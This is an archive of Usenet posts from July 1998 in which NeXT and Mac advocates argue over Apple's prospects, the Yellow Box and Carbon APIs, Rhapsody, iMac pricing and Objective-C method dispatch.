Mime-Version: 1.0
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Content-Transfer-Encoding: 7bit
Cc: gmgraves@slip.net
In <gmgraves-1107980808300001@sf-usr1-11-139.dialup.slip.net> George Graves
wrote:
> I'd say that Yellow Box is well on its way to being history.
>
I'd say absolutely not. Yellow provides the Foundation (pun intended) to
WebObjects, which Apple listed as one of the four pillars of its publishing
solutions at MWNY. Yellow also received further endorsement from Tevanian at
MW.
mmalc.
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: 16 Jul 1998 11:06:23 GMT
Organization: P & L Systems
Message-ID: <6okmrf$10j$3@ironhorse.plsys.co.uk>
References: <6odhav$6iu$1@server.signat.org> <6odln1$2dt@shelob.afs.com>
<35aa6842.0@news.depaul.edu> <6ods6g$g5u$1@news.digifix.com>
<macghod-1307981459460001@sdn-ar-001casbarp304.dialsprint.net> <6oe13t$hm7$1@news.digifix.com>
<not-1307981747020001@3-86.phx.psn.net> <6oeict$msj$1@news.digifix.com>
<not-1407981048300001@2-25.phx.psn.net>
Mime-Version: 1.0
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Cc: not@a.valid.email.add
In <not-1407981048300001@2-25.phx.psn.net> Michael M. Eilers wrote:
> I'm not naieve, scott, but I fear that you are. Aren't you aware that
> Apple is a huge company, and that decisions (since Jobs showed up) come
> from the top down? Sure, you might be friendly with the intern toilet
> washer at Apple, but that doesn't mean the person knows anything.
>
For what it's worth, I assure you Scott's sources are more higher level than
the intern toilet washer. You're probably unaware of how close a community
the NeXT group was; many of our ex-NeXT net.friends in Apple have positions
of seniority.
mmalc.
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: 16 Jul 1998 10:59:16 GMT
Organization: P & L Systems
Message-ID: <6okme4$10j$1@ironhorse.plsys.co.uk>
References: <macghod-1007981752580001@sdn-ar-001casbarp159.dialsprint.net> <MPG.10109df7848fcd95989975@news.supernews.com>
Mime-Version: 1.0
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Cc: don.brown@cesoft.com
In <MPG.10109df7848fcd95989975@news.supernews.com> Donald Brown wrote:
> If you are starting a product now, the best API is Carbon.
>
I'd modify that to: if you are starting a project now which is to have
mass-market appeal and which will ship within the next 12 months, then go
with Carbon. If you can be more tightly focussed (e.g. if you have a mission
critical app and you're able to specify the h/w and OS the client will use),
or you're looking at longer timescales, then go with Yellow.
> If and when YellowBox for MacOS7.x/8.x
>
I don't think Yellow was ever promised for 7.x, and it looks like Apple
decided that 8.x just isn't up to the task of hosting YB, so it's easier to
migrate to MacOS X instead.
> YellowBox for Windows are in firm late
> beta condition, and we can see what a YellowBox for Windows app is like
> (and so whether it is commercially viable or not), if and when that
> happens, the best API may no longer be Carbon.
>
Umm, you can already see what a YB Windows app looks like -- it's a shipping
product in the form of OPENSTEP Enterprise. We have a number of customers
using it very successfully right now. Commercial viability will be changed
for the better when Apple alters the licensing structure -- it's set to come
below $20/seat, which is an order of magnitude lower than it is at present.
Best wishes,
mmalc.
Newsgroups: comp.sys.mac.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy
Subject: Re: Static typing and dynamic binding
From: lars.farm@ite.mh.se (Lars Farm)
Message-ID: <1dc9g6m.1vb5kt51h8o4hmN@dialup184-3-49.swipnet.se>
References: <6mmfdv$5l4$1@nnrp1.dejanews.com> <billa-2206981913080001@archbald-96.slip.uiuc.edu> <6moqam$4os$1@nnrp1.dejanews.com> <359011E4.C8A51B95@cisco.com> <6n08oi$rrs$1@nnrp1.dejanews.com> <6mvtgs$hnm$3@ns3.vrx.net> <6n0mol$sh2$1@flotsam.uits.indiana.edu> <6n0ap7$r0e$1@ns3.vrx.net> <6n141n$tvf$1@flotsam.uits.indiana.edu> <6n11ie$du4$1@ns3.vrx.net> <6n1pko$v47$1@flotsam.uits.indiana.edu> <3594FE42.F137BD6B@nstar.net> <6n7no4$p6j$2@ns3.vrx.net> <3598248E.28605285@nstar.net> <6nabot$r2h$4@ns3.vrx.net> <3599148B.1B14@exu.ericsson.se> <6nakg1$r2h$15@ns3.vrx.net> <6o2e5p$q2u$1@news.cs.tu-berlin.de> <1dbwpln.1hul373c7z78eN@dialup207-3-17.swipnet.se> <6o32eu$ljg1@odie.mcleod.net> <6ogmq6$5dp$1@nnrp1.dejanews.com> <1dc804m.mwatig1uf62gwN@rhrz-isdn3-p14.rhrz.uni-bonn.de> <6okg1v$puc$3@leonie.object-factory.com>
Organization: pv
Date: Thu, 16 Jul 1998 11:28:33 GMT
NNTP-Posting-Date: Thu, 16 Jul 1998 13:28:33 MET DST
Holger Hoffstaette <holger@object-factory.REMOVETHIS.com> wrote:
> Michael Schuerig wrote:
> > C++ virtual functions are (usually) bound through fixed indexes into
> > function pointer arrays. Objective-C methods are bound through
> > associative lookup of selectors in tables.
A v-table lookup is an associative lookup in a table of function
pointers using a function signature as key. A function signature is the
function name + the types of its arguments in order. It is what
distinguishes one function from another. What exactly is a selector?
Could you please describe the corresponding Obj C process in a little
more detail?
> Would it be possible to patch vtables at runtime?
C++ is the semantics of the program text that you write. The language
spec has nothing to say about how or *when* the linking process is done.
Linking to shared libraries or other code dynamically at runtime would
be perfecly acceptable and is also common practice. Furthermore there
doesn't have to be a v-table at all. Other search-mechanisms are
perfectly legal.
The only "problem" is that you must call through a pointer or reference
to a base-class. This is the language. This has to do with static typing
and coupling behaviour to the concept of class. It does not have
anything to do with v-tables or the linking process.
--
Lars Farm; lars.farm@ite.mh.se - Limt/Channelmatic: lars.farm@limt.se
Date: Thu, 16 Jul 1998 07:56:23 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.next.advocacy
Subject: Re: PC Magazine Apple Poll
Message-ID: <joe.ragosta-1607980756230001@wil45.dol.net>
References: <35ADBB84.71CFB29@alum.mit.edu>
In article <35ADBB84.71CFB29@alum.mit.edu>, Eric Hermanson
<eric@alum.mit.edu> wrote:
> http://www.pcmagazine.com
>
> How do you regard Apple today?
>
> Reborn. Steve Jobs has whipped it into shape. 333 (20%)
> Surviving. It has a future in graphics and education. 491 (29%)
> Struggling. It's already lost all the big battles. 878 (52%) *
>
> * As Cartman was say, "Those son's a-bitches!"
What do you expect from a PC Magazine popularity poll? All those people
who bought PCs can't stand the thought that they might have made the wrong
decision, so they have to bad-mouth the Mac.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
Date: Thu, 16 Jul 1998 07:58:01 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Profits up, revenues continue to slide
Message-ID: <joe.ragosta-1607980758020001@wil45.dol.net>
References: <6oj739$aqu$1@lwnws01.ne.highway1.com> <rmcassid-1507981623500001@dante.eng.uci.edu>
In article <rmcassid-1507981623500001@dante.eng.uci.edu>, rmcassid@uci.edu
(Robert Cassidy) wrote:
> In article <6oj739$aqu$1@lwnws01.ne.highway1.com>, jkheit@mediaone.net wrote:
>
[snip -- good analysis]
> >Overall, seems like good news though.
>
> Agreed. Inventory is down. There isn't much product in the channel, little
> sitting on shelves. Strong demand next quarter. Online store doing better
> and better.
>
> They just need to get unit shipments and revenues up. Some concern with
> iMac still being impacted through October, though. Don't look for a price
> drop on iMac _this_ year, I think.
Actually, their _biggest_ problem is going to be meeting demand. I sure
hope they can keep up with the orders.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
Date: Thu, 16 Jul 1998 07:59:47 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Profits up, revenues continue to slide
Message-ID: <joe.ragosta-1607980759480001@wil45.dol.net>
References: <6oj739$aqu$1@lwnws01.ne.highway1.com> <rmcassid-1507981623500001@dante.eng.uci.edu> <6ojtmb$otj$2@lwnws01.ne.highway1.com>
In article <6ojtmb$otj$2@lwnws01.ne.highway1.com>, jkheit@mediaone.net wrote:
> rmcassid@uci.edu (Robert Cassidy) wrote:
> > They just need to get unit shipments and revenues up. Some concern with
> > iMac still being impacted through October, though. Don't look for a price
> > drop on iMac _this_ year, I think.
>
> Which is a real shame, b/c if they released the imac for 999, it would make
> all the difference in the world. It would just tear new aholes in the
> market. At 1300bux, it really is not all that competitive to the wintel
> market, unfortunatly. Still very cute and cool. I might even get one; when
> it goes down to 999 that is. (woowhoo :)
They'll sell all they can make for $1299.
As for "not competitive", you must have missed the lengthy thread earlier.
In spite of numerous challenges, no one was able to come up with name
brand PII systems that were comparable for less money. The best that
anyone came up with was a Quantex system which was pretty close for the
same price.
Unless you have some new evidence that they're not competitive, that issue
has been settled.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.be.advocacy
Subject: Re: Gassee and Apple's decay (was Re: Apple heading to obscurity?)
Date: 16 Jul 1998 05:50:01 -0700
Organization: Primenet (602)416-7000
Message-ID: <6okstp$mkm@nntp02.primenet.com>
References: <6oj5a0$goe$1@hole.sdsu.edu> <B1D27F61-1F256@206.165.43.178> <6ojoum$tvm$1@nnrp1.dejanews.com>
xmac@my-dejanews.com wrote:
: Look at Be and how far (not) they have gotten in the past few years. You may
: also wish to notice that Gasse's first instinct with Be was to base it on a
: largely proprietary hardware platform and only when sales tanked did they
: decide to port to PowerMac and then Intel. Be either needs to get some major
: backers quick or go opensource with the whole thing. (IMHO)
That's a wierd way to measure things, bud. Be is healthy, is hiring, and
has a new general purpose OS on the market. Has anyone else achieved that
in the last 5 or even 10 years? Linux and FreeBSD, but there is a bit of
a different dynamic there.
You're saying JLG has failed because he doesn't rule the world. I'd ask
who else has done as well.
John
From: John Kheit <jkheit@mediaone.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Profits up, revenues continue to slide
Date: 16 Jul 1998 13:05:54 GMT
Organization: UCO & Associates, NH, USA
Message-ID: <6oktri$frj$1@lwnws01.ne.highway1.com>
References: <6oj739$aqu$1@lwnws01.ne.highway1.com> <rmcassid-1507981623500001@dante.eng.uci.edu> <6ojtmb$otj$2@lwnws01.ne.highway1.com> <joe.ragosta-1607980759480001@wil45.dol.net>
joe.ragosta@dol.net (Joe Ragosta) wrote:
> They'll sell all they can make for $1299.
That' would be a bad telltale as well.
> As for "not competitive", you must have missed the lengthy thread earlier.
> In spite of numerous challenges, no one was able to come up with name
> brand PII systems that were comparable for less money. The best that
> anyone came up with was a Quantex system which was pretty close for the
> same price.
>
> Unless you have some new evidence that they're not competitive, that issue
> has been settled.
I didn't follow that thread. Furthermore, time doesn't and wont stand still;
things will be very different in august if and when the imac is released.
I just cracked the July computer shopper (dont have the aug yet) and on page
344 for 979 theres a unit with a 233 P2 (Intel) processor, 32mb, 4.3gb, 24x
cd rom, 15" monitor, stereo speakers, 3d sound, 15" monitor, win 95, quicken,
lotus smartsuite. At this price range you don't have to necessarily compete
on a point to point basis. You oftentimes have to compete on a price point
basis. The average 999 cpu purchaser is not looking at things like
expandability (wich the pc's are better at) or price performance, they are
specifically looking at what can they get for 999 (and not spend 30% more).
And at that price point, many are not demanding a name brand, just a machine.
So apple in many cases will be compared to non-namebrands; and to be fair
they ought to compete on some level with non name brands since there is no
non-name brand mac segment that is viable.
--
Thanks, be well, take care, later, John Kheit; self expressed...
______________________________________________________________________
UCO & A S S O C I A T E S ASCII, MIME, PGP, SUN, & NeXTmail OK
mailto:jkheit@mediaone.net
http://people.ne.mediaone.net/jkheit
You're dangerous because you're honest...
From: don.brown@cesoft.com (Donald Brown)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: Thu, 16 Jul 1998 08:55:40 -0500
Organization: Prairie Group
Message-ID: <MPG.1017c256f4f19f59899a4@news.supernews.com>
References: <macghod-1007981752580001@sdn-ar-001casbarp159.dialsprint.net> <MPG.10109df7848fcd95989975@news.supernews.com> <6okme4$10j$1@ironhorse.plsys.co.uk>
In article <6okme4$10j$1@ironhorse.plsys.co.uk>, malcolm@plsys.co.uk
says...
> In <MPG.10109df7848fcd95989975@news.supernews.com> Donald Brown wrote:
> > If you are starting a product now, the best API is Carbon.
> >
> I'd modify that to: if you are starting a project now which is to have
> mass-market appeal and which will ship within the next 12 months, then go
> with Carbon. If you can be more tightly focussed (e.g. if you have a mission
> critical app and you're able to specify the h/w and OS the client will use),
> or you're looking at longer timescales, then go with Yellow.
I'll agree with half of your modification. If it is a mission critical
app, Yellow can work. I'm not sure how longer of a timescale is
involved. All 68k machines will forever be left out in the cold, all
Nubus PPC machines will forever be left out in the cold, and we've been
told we can't count on any non-G3 machines avoiding being forever left
out in the cold. It's going to take a long time for all of those
machines to no longer be a market force.
> > If and when YellowBox for MacOS7.x/8.x
> >
> I don't think Yellow was ever promised for 7.x, and it looks like Apple
> decided that 8.x just isn't up to the task of hosting YB, so it's easier to
> migrate to MacOS X instead.
Except for all of those owning machines that cannot migrate to MacOS X.
Those people still are buying software. If I cannot sell to those
customers, it will be far harder to be successful in this business.
> > YellowBox for Windows are in firm late
> > beta condition, and we can see what a YellowBox for Windows app is like
> > (and so whether it is commercially viable or not), if and when that
> > happens, the best API may no longer be Carbon.
> >
> Umm, you can already see what a YB Windows app looks like -- it's a shipping
> product in the form of OPENSTEP Enterprise. We have a number of customers
> using it very successfully right now. Commercial viability will be changed
> for the better when Apple alters the licensing structure -- it's set to come
> below $20/seat, which is an order of magnitude lower than it is at present.
Where can I get a demo of it? I want to see if the UI is Windows-like,
and how much disk space/RAM it uses.
Although, without the YellowBox for Mac, it's from curiosity only. If
OpenStep is a development environment for Windows and a small percentage
of Mac users, it won't make sense for my business.
Donald
From: John Kheit <jkheit@mediaone.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.be.advocacy
Subject: Re: Gassee and Apple's decay (was Re: Apple heading to obscurity?)
Date: 16 Jul 1998 14:07:29 GMT
Organization: UCO & Associates, NH, USA
Message-ID: <6ol1f1$hcb$2@lwnws01.ne.highway1.com>
References: <6oj5a0$goe$1@hole.sdsu.edu> <B1D27F61-1F256@206.165.43.178> <6ojoum$tvm$1@nnrp1.dejanews.com> <6okstp$mkm@nntp02.primenet.com>
John Jensen <jjens@primenet.com> wrote:
> You're saying JLG has failed because he doesn't rule the world. I'd ask
> who else has done as well.
I'm not saying that. OTOH, most of the big boys today started out rather
modestly. Dell, & compaq had very humble beginnings. Apple and microsoft
too.
--
Thanks, be well, take care, later, John Kheit; self expressed...
______________________________________________________________________
UCO & A S S O C I A T E S ASCII, MIME, PGP, SUN, & NeXTmail OK
mailto:jkheit@mediaone.net
http://people.ne.mediaone.net/jkheit
You're dangerous because you're honest...
Date: Thu, 16 Jul 1998 10:04:36 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Profits up, revenues continue to slide
Message-ID: <joe.ragosta-1607981004370001@wil67.dol.net>
References: <6oj739$aqu$1@lwnws01.ne.highway1.com> <rmcassid-1507981623500001@dante.eng.uci.edu> <6ojtmb$otj$2@lwnws01.ne.highway1.com> <joe.ragosta-1607980759480001@wil45.dol.net> <6oktri$frj$1@lwnws01.ne.highway1.com>
In article <6oktri$frj$1@lwnws01.ne.highway1.com>, jkheit@mediaone.net wrote:
> joe.ragosta@dol.net (Joe Ragosta) wrote:
> > They'll sell all they can make for $1299.
>
> That' would be a bad telltale as well.
>
>
> > As for "not competitive", you must have missed the lengthy thread earlier.
> > In spite of numerous challenges, no one was able to come up with name
> > brand PII systems that were comparable for less money. The best that
> > anyone came up with was a Quantex system which was pretty close for the
> > same price.
> >
> > Unless you have some new evidence that they're not competitive, that issue
> > has been settled.
>
> I didn't follow that thread. Furthermore, time doesn't and wont stand still;
> things will be very different in august if and when the imac is released.
>
> I just cracked the July computer shopper (dont have the aug yet) and on page
> 344 for 979 theres a unit with a 233 P2 (Intel) processor, 32mb, 4.3gb, 24x
> cd rom, 15" monitor, stereo speakers, 3d sound, 15" monitor, win 95, quicken,
> lotus smartsuite.
And, as has been stated, the comparison is name brand machines. The data
has already been provided that very few people are buying no name clones
(80% of computer sales are to the top 10 vendors alone). Apple has no
immediate plans to compete against garage shop clones.
When you can find a name brand vendor who offers a deal that's
significantly enough below the iMac's price to make a difference, feel
free to provide it. Until then, you haven't proven your assertion.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: 16 Jul 1998 07:22:00 -0700
Organization: Primenet (602)416-7000
Message-ID: <6ol2a8$ras@nntp02.primenet.com>
References: <35950368.F8A5D7A7@nstar.net> <6odtu6$lh3$5@lwnws01.ne.highway1.com> <joe.ragosta-1307982035200001@elk49.dol.net> <6oefqn$5dm$1@lwnws01.ne.highway1.com> <Pine.SOL.3.96.980714112112.13773A-100000@ux5.cso.uiuc.edu>
<mNOSPAMroeder-1407981257200001@192.168.21.171> <m%_q1.191$E5.1672335@proxye1.san.rr.com> <joe.ragosta-1507980648180001@elk60.dol.net> <6oiha2$rkm$1@lwnws01.ne.highway1.com> <35AD4CA1.E5D02242@cloud9.net> <6ojtb7$otj$1@lwnws01.ne.highway1.com>
John Kheit <jkheit@mediaone.net> wrote:
: I guess what burns my bridges is that I don't see anyone trying to move
: forward at all. And most people defend this stagnation irks at me too.
: Even if people try stuff and it sucks, I'd appreciate the effort.
: Hopefully if they are open enough to try and advance things, they'll
: also be open to great criticism and feedback in changing the messups.
: NeXT did this a bunch from 0.8->1.0->2.0->3.0-4.0a. Apple hasn't done
: this in any substantial way in quite some time.
For the big few (Windows, Mac, CDE) the "look" of their interface has
become their trademark. Like the Golden Arches(TM). If they change the
look of their screen too much, people might drive by, and look for a new
restaurant.
The few new projects (Be, Gnome, KDE to name some popular ones) have tried
new things, but they'll probably settle into their respective Looks(TM).
Well, perhaps not Gnome, since the concept of "theme" is so strong. I
don't suppose commercial GUIs will ever open the theme door as wide,
because they don't want to loose their Golden Arches(TM).
You asked earlier for readers to question your beliefs John. I'd ask why
you pursue a better UI, but in some posts reject individual exploration
through themes.
John
From: stwillis@ews.uiuc.edu (willis sean timothy)
Newsgroups: comp.sys.mac.system,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: '97 Mac entrant feels shafted <--but isn't
Followup-To: comp.sys.mac.system,comp.sys.next.advocacy,comp.sys.mac.advocacy
Date: 16 Jul 1998 14:46:18 GMT
Organization: University of Illinois at Urbana-Champaign
Message-ID: <6ol3nq$14g$1@vixen.cso.uiuc.edu>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R0807982323110001@news.enetis.net> <6o5plf$2j3$1@nnrp1.dejanews.com> <stone-ya02408000R1007981831080001@news.enetis.net> <35a6c1d5.0@news.depaul.edu> <pxpst2-1107981101450001@pelli.pathology.p
Joshua T. McKee (Josh.McKee@cbns.com) wrote:
:
:
: No confusion at all. If OS X is to be Rhapsody 2.0, and Rhapsody 1.0 will
: run on pre-G3 Macs, then it appears that Apple isn't living up to it's
: promise.
:
: Sure, Rhapsody "1.0" will run on pre-G3 Macs...big deal if it is
: DOA...which is effectively what Apple has done to it. I can't see any
: future in the "1.0" version of Rhapsody.
Just a question to pose: Let's say a few years back someone decided to buy
a '386 machine that was pretty standard for it's time. said person was
going to run Win 3.1 on it, because that was the most widely supported
graphical OS at the time. Later, in the fall of '95, they decided to
upgrade to Win 95, but found that they needed to upgrade hardware as well.
So they decided to purchase a 486 66MHz machine, kinda low end but with a
good 8 or 16 megs of RAM, it wasn't too bad.
Now that Win 98 is out (and this person really wants a stable
system at this point in his/her life), they have chosen to upgrade yet
again, only three years after their last hardware purchase. They plan on
purchasing Win NT 5.0 when it comes out. Did they have to upgrade? Of
course not. Did they choose to? Why yes they did. Will their hardware be
supported in 5.0? Your guess is as good as mine.
Rhapsody 1.0 is coming, it is more or less on schedule (bring that
into the eq for MS and we've got a whole different story), and it seems as
though it will support the products it was originally stated to support.
This will be the top-of-the-line OS for a year (coming from Apple), and
anyone who bought PCI hardware to run it will still have that opportunity.
In a year, your license is not going to be pulled. There will be
cross-OS compile capability, so anyone who wants to sell software to both
the Rhap and MacOS X crowds just needs to be a bit careful and check a box
at compile time. You'll have a good OS, and by that time there might be
some screaming high-end multi-processor G4 machines that will kick the
*@#$ out of even that 9600/350. Who knows?
Yeah, it sucks that the shiny new Apple that's on your desk _might
not_ be allowed to run the newest software in a year+. But you do have a
upgrade path or two of software, and at least the Mac side won't be
obsoleted. And you'll be able to run NXHost and all the cool stuff
that X doesn't have slated for it.
Cheesy Latin, but it's true: Caveat Emptor. (sp??)
--
Sean Willis : stwillis@uiuc.edu
Aero/ Astro Engineering : http://www.uiuc.edu/ph/www/stwillis
University of Illinois @ Urbana : "When my hand slipped, she looked at
U.S. Presidential Candidate, 2012 : me, and she sang this song...."
-The Dirty Dozen
From: Maximilian Weissboeck <wei@softlab.co.at>
Newsgroups: comp.sys.next.advocacy
Subject: Re: MacOSX == Rhapsody
Date: Thu, 16 Jul 1998 17:02:26 +0200
Organization: Customer of EUnet Austria
Message-ID: <35AE1602.4F2C@softlab.co.at>
References: <6o17sr$52q$1@msunews.cl.msu.edu> <6o5bv7$ba0@shelob.afs.com>
<6o5g4e$c6e$1@news.cs.tu-berlin.de> <6o5jba$6q$1@news.xmission.com>
<01bdac2c$05e11ee0$04387880@test1> <6o5nq8$6q$3@news.xmission.com>
<6o5ph5$s4k$1@cronkite.cygnus.com>
<SCOTT.98Jul13153549@slave.doubleu.com> <SCOTT.98Jul14141739@slave.doubleu.com>
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Scott Hess wrote:
...
> The NeXT faithful are pretty faithful, some of them. I wonder how
> much money you could bring in if you set up a "NeXT Club", and charged
> $100/year for membership. Dues would pay to employ psuedo-volunteers
> to code on GnuStep+Linux. [I say "psuedo-volunteers" because I'm
> assuming a low pay scale, relative to industry.] Membership would get
> you, say, access to source code, or perhaps access to new releases
> earlier than the regular joe.
Set me on your list, if it really starts! 100$ per yer for GNUStep -
YES!
Max
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: 16 Jul 1998 14:43:07 GMT
Organization: wazza?
Message-ID: <6ol3hr$722$1@server.signat.org>
References: <6odhav$6iu$1@server.signat.org> <6odln1$2dt@shelob.afs.com>
<35aa6842.0@news.depaul.edu> <6ods6g$g5u$1@news.digifix.com>
<macghod-1307981459460001@sdn-ar-001casbarp304.dialsprint.net> <6oe13t$hm7$1@news.digifix.com>
<6og79u$pg8$1@vixen.cso.uiuc.edu> <35ABA71F.64A649B5@ericsson.com>
<35abb26e.0@news.depaul.edu> <35ABB916.F3460C01@ericsson.com>
<6oiq1p$5js$1@news.spacelab.net> <35ACF1FF.60CCFA4E@ericsson.com>
<6oj92v$6d9$1@news.spacelab.net>
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Cc: chuck@codefab.com
In <6oj92v$6d9$1@news.spacelab.net> "Charles W. Swiger" wrote:
> Other people, including more traditional Mac developers, don't seem to care
> one way or the other...so long as what they see as "the real MacOS" doesn't
> change much.
I'm not sure I entirely agree. There's definitely a group who wants it to
simply go away, as if it's very presence is a threat somehow.
> If Scott has more accurate information than Norr, why can't he disagree
with
> Norr?
Lost in this thread is on what Norr based his statement: a single interview
with KB. Do I think Scott's "insiders" are closer to the truth than KB?
Yes.
Maury
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.be.advocacy
Subject: Re: Gassee and Apple's decay (was Re: Apple heading to obscurity?)
Date: 16 Jul 1998 08:18:00 -0700
Organization: Primenet (602)416-7000
Message-ID: <6ol5j8$12g@nntp02.primenet.com>
References: <6oj5a0$goe$1@hole.sdsu.edu> <B1D27F61-1F256@206.165.43.178> <6ojoum$tvm$1@nnrp1.dejanews.com> <6okstp$mkm@nntp02.primenet.com> <6ol1f1$hcb$2@lwnws01.ne.highway1.com>
John Kheit <jkheit@mediaone.net> wrote:
: John Jensen <jjens@primenet.com> wrote:
: > You're saying JLG has failed because he doesn't rule the world. I'd ask
: > who else has done as well.
: I'm not saying that. OTOH, most of the big boys today started out rather
: modestly. Dell, & compaq had very humble beginnings. Apple and microsoft
: too.
I was replying to another poster, who I think did say it.
Some in Mac and Next advocacy wail when a "wintel troll" comes by to tell
them that Mac/Next is nowhere without marketshare, and the technical merit
of the products is suspect because they have "failed". Some of the same
people will turn around and pull the same trick on Be. I find that
hypocracy quite disturbing. Either those individuals are so lacking in
moral fiber that the accept the hypocracy, or so lacking in intelligence
that they don't even see it.
John
From: Greg_Anderson@afs.com (Gregory H. Anderson)
Newsgroups: comp.sys.next.advocacy
Subject: Re: PC Magazine Apple Poll
Date: 16 Jul 1998 15:23:15 GMT
Organization: Anderson Financial Systems Inc.
Message-ID: <6ol5t3$l8c@shelob.afs.com>
References: <35ADBB84.71CFB29@alum.mit.edu>
Eric Hermanson <eric@alum.mit.edu> writes
> http://www.pcmagazine.com
>
> How do you regard Apple today?
>
> Reborn. Steve Jobs has whipped it into shape. 333 (20%)
> Surviving. It has a future in graphics and education. 491 (29%)
> Struggling. It's already lost all the big battles. 878 (52%) *
-----
(101%)
Looks like they used a Pentium to do the math.
--
Gregory H. Anderson | "We're in the land of the blind,
Visionary Ophthalmologist | selling working eyeballs, and they
Anderson Financial Systems | balk at the choice of color." -- Tony
greg@afs.com (NeXTmail OK) | Lovell, on Mac user reactions to NeXT
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: 16 Jul 1998 14:46:55 GMT
Organization: wazza?
Message-ID: <6ol3ov$722$2@server.signat.org>
References: <6oj92v$6d9$1@news.spacelab.net> <B1D2D2AB-D80AC@206.165.43.119>
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Cc: english@primenet.com
In <B1D2D2AB-D80AC@206.165.43.119> "Lawson English" wrote:
> It really depends on who your target audience is, doesn't it? If you have
> (or want to have) customers that are still using 68K boxes or even pre-G3
> boxes, you likely don't want to leave them in the cold. Carbon *sorta*
> allows developers to continue to support older boxes, but YB would force
> developers to abandon, not just 68K boxes, but the majority of all PPC Mac
> users.
But that's a side effect of Apple's weird-o policies on this topic, and
nothing else. The thing that scares me is a year from now when MacOS-X ships
that YB has few apps and then it's pointed to as another failure.
If Apple wanted to they could distribute YB and MacOS-X in general on every
machine they've built, and for a little more effort they could do the same on
Intel (sans Carbon/BlueBox of course). Never confuse their own positioning
for technical problems, it's solely Apple's fault that YB is slowly being
pushed into the high end.
> I you don't have a history with MacOS customers, YB offers a larger market.
> If you do, YB cuts your established market by at least 90%
Only if YB runtimes on Wintel continue to be high priced. If their claims
at WWDC are true and there's an honest effort underway to make the OS free of
licencing issues, then there is the very real possibility that YB could
dramatically increase your market, practically for free.
Maury
From: pxpst2@unixs.cis.pitt.edu (Peter)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: Thu, 16 Jul 1998 11:45:11 -0500
Organization: University of Pittsburgh
Message-ID: <pxpst2-1607981145120001@pelli.pathology.pitt.edu>
References: <6odhav$6iu$1@server.signat.org> <6odln1$2dt@shelob.afs.com> <35aa6842.0@news.depaul.edu> <6ods6g$g5u$1@news.digifix.com> <macghod-1307981459460001@sdn-ar-001casbarp304.dialsprint.net> <6oe13t$hm7$1@news.digifix.com> <not-1307981747020001@3-86.phx.psn.net> <6oeict$msj$1@news.digifix.com> <not-1407981048300001@2-25.phx.psn.net>
Mail-Copies-To: pxpst2@spam.suxs.unixs.cis.pitt.edu
In article <not-1407981048300001@2-25.phx.psn.net>, eilersm@azstarnet.com wrote:
> In article <6oeict$msj$1@news.digifix.com>, sanguish@digifix.com (Scott
> Anguish) wrote:
> Ah yes, the mysterious "people at Apple" that I'm sure you know very
> well... Let's just say if I had a dime for every claimed inside source
> people mention on this group, I'd be too busy spending the money to
> respond.
You are very clueless. Certain Peaple should be known by name. And to
prevent you from looking like a Jack ass I will give you a clue:
Scott Anquish....ex NeXt programmer/current Rhapsody progammer...has lots
of freinds and is not likely to offer conjecture. In other words this guy
is not a Rumor Hound. And actually writes code for a living.
As for only believing Jobs, Well Jobs has never been known for his prowess
as an OS programmer. He is an OS visionary and is a fine leader but when
it come to the nuts and bolts of OS code, Jobs relies heavily on his NeXT
crowd that came with him to Apple. And those peaple are freinds of
Scott's because the NeXT WOrld just is not that big. I am going to go out
on a limb here, but I bet Scott is on a first name basis with Avie
Tervanian. You do know who that is?
It is wise that you remeber that not ever one on the USENET is filled with
rumors and Half assed truths.
Peter
--
"Don't you eat that yellow snow
watch out where the Huskies go" FZ
---------------------------------------------------------------------
From: pxpst2@spam.suxs.unixs.cis.pitt.edu (Peter)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: Thu, 16 Jul 1998 11:51:54 -0500
Organization: University of Pittsburgh
Message-ID: <pxpst2-1607981151540001@pelli.pathology.pitt.edu>
